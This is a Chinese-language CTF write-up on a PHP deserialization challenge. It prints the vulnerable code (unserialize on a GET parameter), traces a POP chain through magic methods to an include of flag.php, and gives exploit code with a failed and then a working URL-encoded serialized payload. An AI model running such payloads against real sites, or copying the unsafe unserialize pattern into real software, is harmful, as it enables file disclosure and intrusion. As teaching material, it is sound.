<?php
//flag is in flag.php
include("flag.php");
class Modifier {
private $var;
public function append($value) {
include($value);
echo $flag;
}
public function __invoke(){ # 尝试以调用函数的方式调用一个对象时被调用
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){ # 类的对象被当作字符串操作时调用
return $this->str->source;
}
public function __wakeup(){ # 反序列化后调用
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){ # 对象创建时被调用
$this->p = array();
}
public function __get($key){ # 对不可访问属性或不存在属性进行访问时自动调用
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}分析:POP链先找起始会被触发的方法例如__construct() __destruct(),可以看到Test类中:
public $p;
public function __construct(){ # 对象创建时被调用
$this->p = array();
}
public function __get($key){ # 对不可访问属性或不存在属性进行访问时自动调用
$function = $this->p;
return $function();
} 这里的__construct()只是对变量p进行赋值为空数组,而__get可以调用函数,看不太到可以利用的地方,我们再回头看Modifier类:
private $var;
public function append($value) {
include($value);
echo $flag;
}
public function __invoke(){ # 尝试以调用函数的方式调用一个对象时被调用
$this->append($this->var);
}可以看到我们的最终目标是调用Modifier类中的append方法,使其输出flag,则可以利用__invoke()调用append(),我们开始构造调用链:
Modifier->__invoke() $this->append($this->var);
↓↓↓
Modifier->append($value) echo $flag; 再看Show类:
public $source;
public $str;
public function __toString(){ # 类的对象被当作字符串操作时调用
return $this->str->source;
}
public function __wakeup(){ # 反序列化后调用
echo $this->source;
} 可以发现__toString()方法可以调用别的类的方法或者访问属性,而__wakeup()会echo $this->source又可以触发__toString()方法,而__wakeup()又是反序列化之后就会调用的方法,因此我们可以将其作为pop链的起始点,赋值$this->source=new Show();触发__toString()方法,继续完善调用链:
Show->__wakeup() $this->source=new Show();
↓↓↓
Show->__toString() $this->str->source;
↓↓↓
?
Modifier->__invoke() $this->append($this->var);
↓↓↓
Modifier->append($value) echo $flag; 接下来就是如何触发Modifier->__invoke()呢?
可以看到我们前面分析的Test类中的__get方法可以调用函数,而正好我们发现可以利用Show->__toString()方法中$this->str->source;去访问Test类中不存在的属性source,触发Test->__get($key),再利用$function()实例化一个Modifier并以调用函数的方式进行调用就能触发Modifier->__invoke(),于是就能构造出完整的POP链:
Show->__wakeup() $this->source=new Show();
↓↓↓
Show->__toString() $this->str->source;
↓↓↓
Test->__get($key) return $function();
↓↓↓
Modifier->__invoke() $this->append($this->var);
↓↓↓
Modifier->append($value) echo $flag; 完整流程:
unserialize()
↓
Show::__wakeup()
↓ echo $this->source
Show::__toString()
↓ return $this->str->source
Test::__get()
↓ return $function()
Modifier::__invoke()
↓ include(flag.php)exp:
<?php
class Modifier {
private $var='flag.php';
public function append($value)
{
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
$Show = new Show();
$Test = new Test();
$Modifier = new Modifier();
$Show->source = new Show(); # Show->__wakeup() -> Show->__toString()
$Show->str = $Test; # Show->__toString() -> Test->__get()
$Test->p = $Modifier; # Test->__get() -> Modifier->__invoke()
echo serialize($Show);
# O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";N;}s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}然而这里我们返回了报错,而且并没有成功包含:
Catchable fatal error: Method Show::__toString() must return a string value in /var/www/html/index.php on line 24追踪原因:
$Show = new Show(); // 我们叫它【Show一号】
$Show->str = $Test; // 给【Show一号】装上了炸药引信($Test)
$Show->source = new Show(); // 这里创建了一个崭新的【Show二号】,它是空的!反序列化【Show一号】 -> 触发 __wakeup。
echo $this->source -> 也就是 echo【Show二号】。
因为要输出【Show二号】,所以代码跳进了【Show二号】的 __toString 方法里。
关键时刻: 此时在 __toString 里,$this 指代的是 【Show二号】。 代码执行 $this->str,也就是找 【Show二号】身上的 str 属性。但是我们没有给【Show二号】赋值过任何属性,我们只给【Show一号】赋值了 $str。
结局: $this->str 是 NULL。 代码变成了 NULL->source。 根本就没有碰到 $Test 对象! 既然没碰到 $Test,怎么可能触发 $Test 里面的 __get 呢? 链条在这里直接断了。因此报错的同时还没有实现include
解决办法也很简单,就是改为:
$Show = new Show(); // 我们叫它【Show一号】
$Show->str = $Test; // 给【Show一号】装上了炸药引信($Test)
$Show->source = $Show; // source 还是【Show一号】自己
# 当然就算是new一个新的$Show,也是可以的,但就要赋值$Show->source->str = $Test;这样我们的POP链就能正常执行了,并且返回了flag。但是我们发现依然会报错是为什么呢?
这是因为我们的__toString方法需要返回字符串,但是我们的$this->str->source = $Test->source,这时并不会直接返回,而是继续进入下一个函数调用(类似递归),触发了$Test->__get(),等到我们的POP链最底部的include执行完毕之后,一步步return到__toString方法的时候才报错,因此不影响flag的输出。
真正的exp:
$Show = new Show();
$Test = new Test();
$Modifier = new Modifier();
# $Show->source = new Show(); # Show->__wakeup() -> Show->__toString()
$Show->source = $Show; # Show->__wakeup() -> Show->__toString()
$Show->str = $Test; # Show->__toString() -> Test->__get()
$Test->p = $Modifier; # Test->__get() -> Modifier->__invoke()
echo urlencode(serialize($Show));
# O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}
# O%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3Br%3A1%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A%7Bs%3A13%3A"%00Modifier%00var"%3Bs%3A8%3A"flag.php"%3B%7D%7D%7D从错误中学习与成长